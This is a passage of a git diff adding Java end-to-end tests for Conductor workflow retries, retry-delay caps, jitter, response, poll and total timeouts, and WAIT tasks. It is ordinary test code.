Executors.newFixedThreadPool(N); + CountDownLatch done = new CountDownLatch(N); + for (int i = 0; i < N; i++) { + pool.submit( + () -> { + try { + Task initial = pollTask(tt); + String wfId = initial.getWorkflowInstanceId(); + failTask(wfId, initial.getTaskId()); + // await and complete the retry + Task retry = awaitScheduledRetry(wfId, 2); + assertNotNull(retry, "retry task must be scheduled for wf " + wfId); + // cap applied: base=1s (retry0), raw retry1=2s (2^1 * 1) → capped to 2s + assertTrue( + retry.getCallbackAfterSeconds() <= 2, + "callbackAfterSeconds must be ≤ cap (2s); was " + + retry.getCallbackAfterSeconds()); + Task retryTask = pollTask(tt); + completeTask(retryTask.getWorkflowInstanceId(), retryTask.getTaskId()); + } finally { + done.countDown(); + } + }); + } + assertTrue(done.await(60, TimeUnit.SECONDS), "All " + N + " retry cycles completed"); + pool.shutdown(); + + // Verify all N workflows completed successfully + for (String id : wfIds) { + Workflow w = workflowClient.getWorkflow(id, false); + if (!w.getStatus().isTerminal()) { + workflowClient.runDecider(id); + } + w = workflowClient.getWorkflow(id, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + w.getStatus(), + "Workflow " + id + " must be COMPLETED"); + } + } + + // ========================================================================= + // Poll gap fix: responseTimeout < pollTimeout + // + // Before the fix: when a task transitions SCHEDULED→IN_PROGRESS the decider + // queue kept the old poll-based postpone. If pollTimeout=30s and + // responseTimeout=3s, the sweeper would not re-evaluate until ~30s, missing + // the response timeout by ~27s. + // + // After the fix: `adjustDeciderQueuePostpone()` calls + // `setUnackTimeoutIfShorter()` with the response timeout, advancing the + // sweep to ~responseTimeout. + // + // We observe this by measuring how quickly the task transitions to TIMED_OUT + // after being polled (left IN_PROGRESS without a response). + // ========================================================================= + + @Test + @DisplayName( + "Poll gap fix: response timeout is detected promptly after polling " + + "(not delayed until poll timeout expires)") + void testPollGapFix_responseTimeoutDetectedBeforePollTimeout() { + String tt = "e2e-poll-gap-task", wf = "e2e-poll-gap-wf"; + + // pollTimeout=30s, responseTimeout=3s. + // Without fix: TIMED_OUT after ~30s. With fix: TIMED_OUT after ~3s. + Map def = taskDefBase(tt); + def.put("retryCount", 0); // no retries — task goes straight to TIMED_OUT + def.put("retryLogic", "FIXED"); + def.put("pollTimeoutSeconds", 30); // long poll window + def.put("responseTimeoutSeconds", 3); // short response window + def.put("timeoutSeconds", 600); + def.put("timeoutPolicy", "TIME_OUT_WF"); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + // Poll the task (SCHEDULED → IN_PROGRESS) — but do NOT respond. + // The poll gap fix must update the decider queue to fire after responseTimeout (3s), + // not after the old poll-based postpone (~30s). + Task task = pollTask(tt); + assertNotNull(task, "Task must be pollable"); + long polledAt = System.currentTimeMillis(); + + // Wait for the sweeper to fire and time out the task. + // With fix: detectable within ~5s (3s response timeout + small sweep lag). + // Without fix: would take ~30s (poll timeout) — test would fail at 10s. + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow w = workflowClient.getWorkflow(wfId, true); + Task t = + w.getTasks().stream() + .filter(tk -> tk.getTaskId().equals(task.getTaskId())) + .findFirst() + .orElseThrow(); + assertEquals( + Task.Status.TIMED_OUT, + t.getStatus(), + "Task must be TIMED_OUT within response timeout window"); + }); + + long elapsed = System.currentTimeMillis() - polledAt; + log.info( + "Task timed out {}ms after being polled (responseTimeout=3s, pollTimeout=30s)", + elapsed); + + // The key assertion: timed out well before the poll timeout would have fired. + assertTrue( + elapsed < 20_000, + "Task timed out " + + elapsed + + "ms after polling — poll gap fix must advance the" + + " sweep to responseTimeout (~3s), not pollTimeout (~30s)"); + } + + // ========================================================================= + // totalTimeoutSeconds — hard wall-clock budget across all retry attempts + // + // Strategy: we cannot manipulate firstScheduledTime in e2e (no DB access), + // so we rely on real wall-clock time: + // - "disabled" (=0) and "not exceeded" tests use manual poll/fail with + // a generous total budget so real time never exceeds it. + // - "exceeded" test uses a very short budget (4 s) and a background + // worker that continuously fails the task; eventually the total budget + // is exhausted and the workflow terminates. + // ========================================================================= + + /** Helper: starts a background worker that always fails every task of the given type. */ + private TaskRunnerConfigurer startAlwaysFailingWorker(String taskType) { + Worker worker = + new Worker() { + @Override + public String getTaskDefName() { + return taskType; + } + + @Override + public TaskResult execute(Task task) { + TaskResult r = new TaskResult(task); + r.setStatus(TaskResult.Status.FAILED); + r.setReasonForIncompletion("e2e totalTimeout stress test"); + return r; + } + + @Override + public int getPollingInterval() { + return 100; + } + }; + TaskRunnerConfigurer configurer = + new TaskRunnerConfigurer.Builder(taskClient, List.of(worker)) + .withThreadCount(2) + .withTaskPollTimeout(1) + .build(); + configurer.init(); + return configurer; + } + + @Test + @DisplayName("totalTimeoutSeconds=0: disabled — retries continue up to retryCount as normal") + void testTotalTimeoutSeconds_zero_disabled() { + String tt = "e2e-total-timeout-disabled-task", wf = "e2e-total-timeout-disabled-wf"; + + // totalTimeoutSeconds=0 means disabled; timeoutSeconds=0 to avoid constraint violation + Map def = new HashMap<>(); + def.put("name", tt); + def.put("ownerEmail", "test@conductor.io"); + def.put("retryCount", 5); + def.put("retryDelaySeconds", 0); + def.put("retryLogic", "FIXED"); + def.put("totalTimeoutSeconds", 0); + def.put("timeoutSeconds", 0); + def.put("responseTimeoutSeconds", 1); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + // Fail twice — total elapsed is well under any real-world constraint + failTask(wfId, pollTask(tt).getTaskId()); + Task retry1 = awaitScheduledRetry(wfId, 2); + assertNotNull(retry1, "Retry must be scheduled when totalTimeoutSeconds=0 (disabled)"); + + failTask(wfId, pollTask(tt).getTaskId()); + Task retry2 = awaitScheduledRetry(wfId, 3); + assertNotNull(retry2, "Second retry must be scheduled"); + + // Complete the third attempt — workflow should finish successfully + completeTask(wfId, pollTask(tt).getTaskId()); + awaitCompleted(wfId); + } + + @Test + @DisplayName("totalTimeoutSeconds not exceeded: retries complete and workflow succeeds") + void testTotalTimeoutSeconds_notExceeded_workflowCompletes() { + String tt = "e2e-total-timeout-ok-task", wf = "e2e-total-timeout-ok-wf"; + + // Generous 60 s budget; test finishes in << 1 s so budget is never hit + Map def = new HashMap<>(); + def.put("name", tt); + def.put("ownerEmail", "test@conductor.io"); + def.put("retryCount", 5); + def.put("retryDelaySeconds", 0); + def.put("retryLogic", "FIXED"); + def.put("totalTimeoutSeconds", 60); + def.put("timeoutSeconds", 0); + def.put("responseTimeoutSeconds", 1); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + failTask(wfId, pollTask(tt).getTaskId()); + awaitScheduledRetry(wfId, 2); + failTask(wfId, pollTask(tt).getTaskId()); + awaitScheduledRetry(wfId, 3); + completeTask(wfId, pollTask(tt).getTaskId()); + + awaitCompleted(wfId); + Workflow workflow = workflowClient.getWorkflow(wfId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflow.getStatus(), + "Workflow must complete when total budget is not exhausted"); + } + + @Test + @DisplayName("totalTimeoutSeconds exceeded: workflow terminates before retryCount is exhausted") + void testTotalTimeoutSeconds_exceeded_workflowTerminates() { + String tt = "e2e-total-timeout-exceeded-task", wf = "e2e-total-timeout-exceeded-wf"; + + // 4-second budget, 100 retries allowed — total timeout should fire long before 100 retries + // timeoutSeconds must be ≤ totalTimeoutSeconds when both > 0, so we disable per-attempt + Map def = new HashMap<>(); + def.put("name", tt); + def.put("ownerEmail", "test@conductor.io"); + def.put("retryCount", 100); + def.put("retryDelaySeconds", 0); + def.put("retryLogic", "FIXED"); + def.put("totalTimeoutSeconds", 4); + def.put("timeoutSeconds", 0); + def.put("responseTimeoutSeconds", 1); + def.put("timeoutPolicy", "TIME_OUT_WF"); + registerTaskDef(def); + registerWorkflow(wf, tt); + + // Auto-failing worker: keeps failing every attempt so totalTimeout is the only exit + TaskRunnerConfigurer workerConfigurer = startAlwaysFailingWorker(tt); + try { + String wfId = startWorkflow(wf); + + // The workflow must terminate (FAILED or TIMED_OUT) within a generous window. + // With a 4-second total budget and rapid retries the termination should be fast. + AtomicReference finalWorkflow = new AtomicReference<>(); + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow w = workflowClient.getWorkflow(wfId, false); + assertTrue( + w.getStatus() == Workflow.WorkflowStatus.FAILED + || w.getStatus() + == Workflow.WorkflowStatus.TIMED_OUT, + "Workflow must terminate once total timeout is exceeded; status=" + + w.getStatus()); + finalWorkflow.set(w); + }); + + // The key assertion: far fewer than 100 tasks were scheduled. + // If total timeout is enforced, the workflow terminates in a handful of retries. + // If it were NOT enforced, 100 retries at ~retryDelay=0 would still take time + // but the workflow would only fail at retry exhaustion, not after 4 s. + Workflow wf2 = workflowClient.getWorkflow(wfId, true); + int taskCount = wf2.getTasks().size(); + log.info( + "Workflow terminated after {} task attempts (totalTimeoutSeconds=4, retryCount=100)", + taskCount); + assertTrue( + taskCount < 100, + "Workflow must terminate before exhausting all 100 retries — " + + "total timeout (4s) should fire first. taskCount=" + + taskCount); + + } finally { + try { + workerConfigurer.shutdown(); + } catch (Exception ignored) { + } + } + } + + // --- interaction: totalTimeout + maxRetryDelayCap --- + + @Test + @DisplayName( + "totalTimeout + maxRetryDelayCap: cap applied to retry delay; hard budget still enforced") + void testTotalTimeoutSeconds_withMaxRetryDelayCap() { + String tt = "e2e-total-cap-combo-task", wf = "e2e-total-cap-combo-wf"; + + // base=1s, cap=2s, totalBudget=60s: retries are delayed by at most 2s; budget never hit + Map def = new HashMap<>(); + def.put("name", tt); + def.put("ownerEmail", "test@conductor.io"); + def.put("retryCount", 5); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "EXPONENTIAL_BACKOFF"); + def.put("maxRetryDelaySeconds", 2); + def.put("totalTimeoutSeconds", 60); + def.put("timeoutSeconds", 0); + def.put("responseTimeoutSeconds", 1); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + // Fail twice, verify cap is applied AND retries are scheduled (total budget not hit) + failTask(wfId, pollTask(tt).getTaskId()); + Task retry1 = awaitScheduledRetry(wfId, 2); + assertEquals( + 1L, + retry1.getCallbackAfterSeconds(), + "retry1: 1×2⁰=1s (below cap 2s, well within totalTimeout 60s)"); + + failTask(wfId, pollTask(tt).getTaskId()); + Task retry2 = awaitScheduledRetry(wfId, 3); + assertEquals( + 2L, + retry2.getCallbackAfterSeconds(), + "retry2: 1×2¹=2s = cap, still within totalTimeout 60s"); + + completeTask(wfId, pollTask(tt).getTaskId()); + awaitCompleted(wfId); + } + + // --- interaction: totalTimeout + backoffJitterMs --- + + @Test + @DisplayName( + "totalTimeout + backoffJitterMs: jitter applies per retry; hard budget still enforced") + void testTotalTimeoutSeconds_withJitter() { + String tt = "e2e-total-jitter-combo-task", wf = "e2e-total-jitter-combo-wf"; + + // base=1s, jitter=500ms, totalBudget=60s: retries get jitter; budget never hit + Map def = new HashMap<>(); + def.put("name", tt); + def.put("ownerEmail", "test@conductor.io"); + def.put("retryCount", 5); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "FIXED"); + def.put("backoffJitterMs", 500); + def.put("totalTimeoutSeconds", 60); + def.put("timeoutSeconds", 0); + def.put("responseTimeoutSeconds", 1); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + failTask(wfId, pollTask(tt).getTaskId()); + Task retry1 = awaitScheduledRetry(wfId, 2); + // callbackAfterSeconds = base delay (jitter is in callbackAfterMs, not visible via HTTP + // API) + assertEquals( + 1L, + retry1.getCallbackAfterSeconds(), + "callbackAfterSeconds must equal base delay regardless of jitter"); + + long scheduledAt = retry1.getScheduledTime(); + Task retried = pollTask(tt); + long queueDelay = System.currentTimeMillis() - scheduledAt; + assertTrue(queueDelay >= 1000, "Must wait at least base 1s; was " + queueDelay + "ms"); + assertTrue(queueDelay < 3000, "Must be < base+jitter+overhead; was " + queueDelay + "ms"); + + completeTask(wfId, retried.getTaskId()); + awaitCompleted(wfId); + } + + // --- firstScheduledTime preserved across multiple retries --- + + @Test + @DisplayName( + "firstScheduledTime preserved: budget measured from first schedule, not each retry") + void testTotalTimeoutSeconds_firstScheduledTimePreservedAcrossRetries() { + String tt = "e2e-total-preserve-task", wf = "e2e-total-preserve-wf"; + + // Generous 60s budget, multiple retries — verify that budget is not reset on each retry + Map def = new HashMap<>(); + def.put("name", tt); + def.put("ownerEmail", "test@conductor.io"); + def.put("retryCount", 10); + def.put("retryDelaySeconds", 0); + def.put("retryLogic", "FIXED"); + def.put("totalTimeoutSeconds", 60); + def.put("timeoutSeconds", 0); + def.put("responseTimeoutSeconds", 1); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + long testStart = System.currentTimeMillis(); + + // Fail 3 times in rapid succession — each retry must use the original firstScheduledTime + for (int i = 0; i < 3; i++) { + failTask(wfId, pollTask(tt).getTaskId()); + awaitScheduledRetry(wfId, i + 2); + } + + // All 3 retries should have been scheduled — total elapsed is << 60s + Workflow wf2 = workflowClient.getWorkflow(wfId, true); + long elapsed = System.currentTimeMillis() - testStart; + assertEquals( + 4, + wf2.getTasks().size(), + "Should have 4 tasks (original + 3 retries) after 3 failures; " + + "elapsed=" + + elapsed + + "ms"); + assertTrue( + elapsed < 10_000, + "Test must complete in << 60s totalTimeout; elapsed=" + elapsed + "ms"); + + completeTask(wfId, pollTask(tt).getTaskId()); + awaitCompleted(wfId); + } + + // --- ALERT_ONLY policy behavior --- + + @Test + @DisplayName( + "ALERT_ONLY policy + totalTimeout exceeded: workflow terminates when task explicitly fails") + void testTotalTimeoutSeconds_alertOnlyPolicy_terminatesOnWorkerFailure() { + // When a worker explicitly fails a task and the total budget is already exhausted, + // the retry() guard fires and terminates the workflow. + // This is intentional: totalTimeoutSeconds is a hard budget regardless of per-attempt + // policy. + // (ALERT_ONLY controls single-attempt timeouts; the total limit is absolute.) + String tt = "e2e-total-alert-only-task", wf = "e2e-total-alert-only-wf"; + + TaskRunnerConfigurer workerConfigurer = null; + try { + // 4s budget, ALERT_ONLY, always-failing worker + Map def = new HashMap<>(); + def.put("name", tt); + def.put("ownerEmail", "test@conductor.io"); + def.put("retryCount", 100); + def.put("retryDelaySeconds", 0); + def.put("retryLogic", "FIXED"); + def.put("totalTimeoutSeconds", 4); + def.put("timeoutSeconds", 0); + def.put("responseTimeoutSeconds", 1); + def.put("timeoutPolicy", "ALERT_ONLY"); + registerTaskDef(def); + registerWorkflow(wf, tt); + + workerConfigurer = startAlwaysFailingWorker(tt); + String wfId = startWorkflow(wf); + + // Workflow must terminate even with ALERT_ONLY, because the retry() guard is a hard + // stop + await().atMost(30, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow w = workflowClient.getWorkflow(wfId, false); + assertTrue( + w.getStatus() == Workflow.WorkflowStatus.FAILED + || w.getStatus() + == Workflow.WorkflowStatus.TIMED_OUT, + "ALERT_ONLY with totalTimeout must still terminate after budget exhausted; " + + "status=" + + w.getStatus()); + }); + + // Fewer tasks than retryCount — proves totalTimeout, not retry exhaustion, stopped it + Workflow wfFinal = workflowClient.getWorkflow(wfId, true); + assertTrue( + wfFinal.getTasks().size() < 100, + "Must have terminated before retryCount=100 is exhausted"); + + } finally { + if (workerConfigurer != null) { + try { + workerConfigurer.shutdown(); + } catch (Exception ignored) { + } + } + } + } + + @Test + @DisplayName("Concurrent workflows: totalTimeoutSeconds independent per workflow instance") + void testTotalTimeoutSeconds_concurrentWorkflows_eachInstanceIndependent() + throws InterruptedException { + final int N = 2; + String tt = "e2e-total-timeout-concurrent-task", wf = "e2e-total-timeout-concurrent-wf"; + + // Generous 30 s total budget — all N workflows complete well within it + Map def = new HashMap<>(); + def.put("name", tt); + def.put("ownerEmail", "test@conductor.io"); + def.put("retryCount", 5); + def.put("retryDelaySeconds", 0); + def.put("retryLogic", "FIXED"); + def.put("totalTimeoutSeconds", 30); + def.put("timeoutSeconds", 0); + def.put("responseTimeoutSeconds", 1); + registerTaskDef(def); + registerWorkflow(wf, tt); + + List wfIds = new ArrayList<>(); + for (int i = 0; i < N; i++) wfIds.add(startWorkflow(wf)); + + // Polling is by task type, so use the workflow ID on the polled task instead of + // pairing an arbitrary task ID with a separately captured workflow ID. + Set failedWorkflowIds = ConcurrentHashMap.newKeySet(); + while (failedWorkflowIds.size() < N) { + Task task = pollTask(tt); + String taskWorkflowId = task.getWorkflowInstanceId(); + if (wfIds.contains(taskWorkflowId) && failedWorkflowIds.add(taskWorkflowId)) { + failTask(taskWorkflowId, task.getTaskId()); + } + } + + for (String id : wfIds) { + awaitScheduledRetry(id, 2); + } + + Set completedWorkflowIds = ConcurrentHashMap.newKeySet(); + while (completedWorkflowIds.size() < N) { + Task task = pollTask(tt); + String taskWorkflowId = task.getWorkflowInstanceId(); + if (wfIds.contains(taskWorkflowId) && completedWorkflowIds.add(taskWorkflowId)) { + completeTask(taskWorkflowId, task.getTaskId()); + } + } + + // All N workflows must complete — totalTimeout (30s) was not reached by any instance + for (String id : wfIds) { + Workflow w = workflowClient.getWorkflow(id, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + w.getStatus(), + "Every workflow instance must complete when total budget is not exhausted"); + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/task/TaskTimeoutTests.java b/e2e/src/test/java/io/conductor/e2e/task/TaskTimeoutTests.java new file mode 100644 index 0000000..570f84d --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/task/TaskTimeoutTests.java @@ -0,0 +1,224 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.task; + +import java.util.Collections; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +public class TaskTimeoutTests { + + private static MetadataClient metadataClient; + private static WorkflowClient workflowClient; + private static TaskClient taskClient; + + private static final String TASK_NAME = "task_timeout_test"; + private static final String WORKFLOW_NAME = "task_timeout_workflow"; + + private static final String TASK_NAME_RESPONSE_TIMEOUT = "task_response_timeout_test"; + private static final String WORKFLOW_NAME_RESPONSE_TIMEOUT = "workflow_response_timeout_test"; + + private static final String TASK_NAME_OVERALL_TIMEOUT = "task_overall_timeout_test"; + private static final String WORKFLOW_NAME_OVERALL_TIMEOUT = "workflow_overall_timeout_test"; + + @BeforeAll + static void setup() { + metadataClient = ApiUtil.METADATA_CLIENT; + workflowClient = ApiUtil.WORKFLOW_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + + // Define TaskDef with pollTimeout and timeoutSeconds + TaskDef taskDef = new TaskDef(); + taskDef.setName(TASK_NAME); + taskDef.setOwnerEmail("test@conductor.io"); + taskDef.setPollTimeoutSeconds(25); // Task will be timed out if not polled in 5s + taskDef.setTimeoutSeconds(100); // Task execution timeout + taskDef.setResponseTimeoutSeconds(40); + taskDef.setRetryCount(0); // No retries + taskDef.setTimeoutPolicy(TaskDef.TimeoutPolicy.TIME_OUT_WF); + + // Register TaskDef + metadataClient.registerTaskDefs(Collections.singletonList(taskDef)); + + // Define Workflow + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(WORKFLOW_NAME); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setDescription("Workflow to test pollTimeoutSeconds and timeoutSeconds"); + workflowDef.setVersion(1); + + // Create Task + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName(TASK_NAME); + workflowTask.setTaskReferenceName("task_timeout_ref"); + + workflowDef.setTasks(Collections.singletonList(workflowTask)); + + // Register Workflow + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + + TaskDef taskDefResponseTimeout = new TaskDef(); + taskDefResponseTimeout.setName(TASK_NAME_RESPONSE_TIMEOUT); + taskDefResponseTimeout.setOwnerEmail("test@conductor.io"); + taskDefResponseTimeout.setPollTimeoutSeconds(6); // Ensure poll doesn't interfere + taskDefResponseTimeout.setTimeoutSeconds(120); // Total timeout (should not trigger) + taskDefResponseTimeout.setResponseTimeoutSeconds( + 5); // Task should timeout if not updated in 30s + taskDefResponseTimeout.setRetryCount(0); + taskDefResponseTimeout.setTimeoutPolicy(TaskDef.TimeoutPolicy.TIME_OUT_WF); + + // Register TaskDef + metadataClient.registerTaskDefs(Collections.singletonList(taskDefResponseTimeout)); + + // Define Workflow + WorkflowDef workflowDefResponseTimeout = new WorkflowDef(); + workflowDefResponseTimeout.setName(WORKFLOW_NAME_RESPONSE_TIMEOUT); + workflowDefResponseTimeout.setOwnerEmail("test@conductor.io"); + workflowDefResponseTimeout.setDescription("Workflow to test responseTimeoutSeconds"); + workflowDefResponseTimeout.setVersion(1); + + // Create Task + WorkflowTask workflowTaskResponseTimeout = new WorkflowTask(); + workflowTaskResponseTimeout.setName(TASK_NAME_RESPONSE_TIMEOUT); + workflowTaskResponseTimeout.setTaskReferenceName("task_response_timeout_ref"); + + workflowDefResponseTimeout.setTasks(Collections.singletonList(workflowTaskResponseTimeout)); + + // Register Workflow + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDefResponseTimeout)); + + // Define TaskDef with overall timeoutSeconds + TaskDef taskDefOverallTimeout = new TaskDef(); + taskDefOverallTimeout.setName(TASK_NAME_OVERALL_TIMEOUT); + taskDefOverallTimeout.setOwnerEmail("test@conductor.io"); + taskDefOverallTimeout.setPollTimeoutSeconds(10); // Ensure poll timeout is not interfering + taskDefOverallTimeout.setTimeoutSeconds(25); // Task must be completed within 45 seconds + taskDefOverallTimeout.setRetryCount(0); + taskDefOverallTimeout.setResponseTimeoutSeconds(5); + taskDefOverallTimeout.setTimeoutPolicy(TaskDef.TimeoutPolicy.TIME_OUT_WF); + + // Register TaskDef + metadataClient.registerTaskDefs(Collections.singletonList(taskDefOverallTimeout)); + + // Define Workflow + WorkflowDef workflowDefOverallTimeout = new WorkflowDef(); + workflowDefOverallTimeout.setName(WORKFLOW_NAME_OVERALL_TIMEOUT); + workflowDefOverallTimeout.setOwnerEmail("test@conductor.io"); + workflowDefOverallTimeout.setDescription("Workflow to test overall task timeout"); + workflowDefOverallTimeout.setVersion(1); + + // Create Task + WorkflowTask workflowTaskOverallTimeout = new WorkflowTask(); + workflowTaskOverallTimeout.setName(TASK_NAME_OVERALL_TIMEOUT); + workflowTaskOverallTimeout.setTaskReferenceName("task_overall_timeout_ref"); + + workflowDefOverallTimeout.setTasks(Collections.singletonList(workflowTaskOverallTimeout)); + + // Register Workflow + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDefOverallTimeout)); + } + + @Test + void testTaskPollTimeout() throws InterruptedException { + // Start Workflow + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(WORKFLOW_NAME); + + String workflowId = workflowClient.startWorkflow(request); + assertNotNull(workflowId); + + await().pollInterval(30, TimeUnit.SECONDS) + .atMost(45, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(Workflow.WorkflowStatus.TIMED_OUT, workflow.getStatus()); + }); + } + + @Test + void testTaskResponseTimeout() throws InterruptedException { + // Start Workflow + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(WORKFLOW_NAME_RESPONSE_TIMEOUT); + + String workflowId = workflowClient.startWorkflow(request); + assertNotNull(workflowId); + + // Poll for the task but do not update it + Task polledTask = taskClient.pollTask(TASK_NAME_RESPONSE_TIMEOUT, "test-worker", null); + assertNotNull(polledTask); + assertEquals(workflowId, polledTask.getWorkflowInstanceId()); + + // Wait for response timeout (should timeout in 30s) + await().pollInterval(30, TimeUnit.SECONDS) + .atMost(2, TimeUnit.MINUTES) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(Workflow.WorkflowStatus.TIMED_OUT, workflow.getStatus()); + }); + } + + @Test + void testTaskOverallTimeout() throws InterruptedException { + // Start Workflow + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(WORKFLOW_NAME_OVERALL_TIMEOUT); + + String workflowId = workflowClient.startWorkflow(request); + assertNotNull(workflowId); + + // Poll for the task but do not complete it + Task polledTask = taskClient.pollTask(TASK_NAME_OVERALL_TIMEOUT, "test-worker", null); + assertNotNull(polledTask); + assertEquals(workflowId, polledTask.getWorkflowInstanceId()); + + // Wait for overall timeout (should timeout in 45s) + await().pollInterval(4, TimeUnit.SECONDS) + .atMost(40, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(Workflow.WorkflowStatus.TIMED_OUT, workflow.getStatus()); + }); + } + + @AfterAll + static void cleanup() { + // Cleanup task and workflow + metadataClient.unregisterTaskDef(TASK_NAME); + metadataClient.unregisterWorkflowDef(WORKFLOW_NAME, 1); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/task/WaitTaskTest.java b/e2e/src/test/java/io/conductor/e2e/task/WaitTaskTest.java new file mode 100644 index 0000000..411c4f5 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/task/WaitTaskTest.java @@ -0,0 +1,178 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.task; + +import java.time.Duration; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.sdk.workflow.def.ConductorWorkflow; +import com.netflix.conductor.sdk.workflow.def.tasks.Wait; +import com.netflix.conductor.sdk.workflow.executor.WorkflowExecutor; + +import io.conductor.e2e.util.ApiUtil; + +import static java.time.temporal.ChronoUnit.SECONDS; +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +public class WaitTaskTest { + + private WorkflowExecutor executor; + + @Test + public void testWaitTimeout() + throws ExecutionException, InterruptedException, TimeoutException { + TaskClient taskClient = ApiUtil.TASK_CLIENT; + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + executor = new WorkflowExecutor(taskClient, workflowClient, metadataClient, 1000); + + ConductorWorkflow> workflow = new ConductorWorkflow<>(executor); + workflow.setName("wait_task_test"); + workflow.setVersion(1); + workflow.setOwnerEmail("test@conductor.io"); + workflow.setVariables(new HashMap<>()); + workflow.add(new Wait("wait_for_2_second", Duration.of(2, SECONDS))); + CompletableFuture future = workflow.executeDynamic(new HashMap<>()); + assertNotNull(future); + Workflow run = future.get(60, TimeUnit.SECONDS); + assertNotNull(run); + assertEquals(Workflow.WorkflowStatus.COMPLETED, run.getStatus()); + assertEquals(1, run.getTasks().size()); + long timeToExecute = + run.getTasks().get(0).getEndTime() - run.getTasks().get(0).getScheduledTime(); + + // conductor-oss postgres queue may have up to ~10s overhead over the configured wait + // duration + assertTrue( + timeToExecute < 15000, + "Wait task did not complete in time, took " + timeToExecute + " millis"); + } + + @Test + @DisplayName( + "when a workflow is started with task '*' to domain mapping, WAIT task should be executed without a domain") + public void startWorkflowWithDomain() { + var workflowClient = ApiUtil.WORKFLOW_CLIENT; + + var workflowDef = new WorkflowDef(); + workflowDef.setName("wait_task__with_domain"); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail("test@conductor.io"); + + var waitTask = new WorkflowTask(); + waitTask.setType("WAIT"); + waitTask.setName("wait_task"); + waitTask.setTaskReferenceName("wait_task_ref"); + waitTask.getInputParameters().put("duration", "2 seconds"); + workflowDef.getTasks().add(waitTask); + + var request = new StartWorkflowRequest(); + request.setName(workflowDef.getName()); + request.setVersion(workflowDef.getVersion()); + 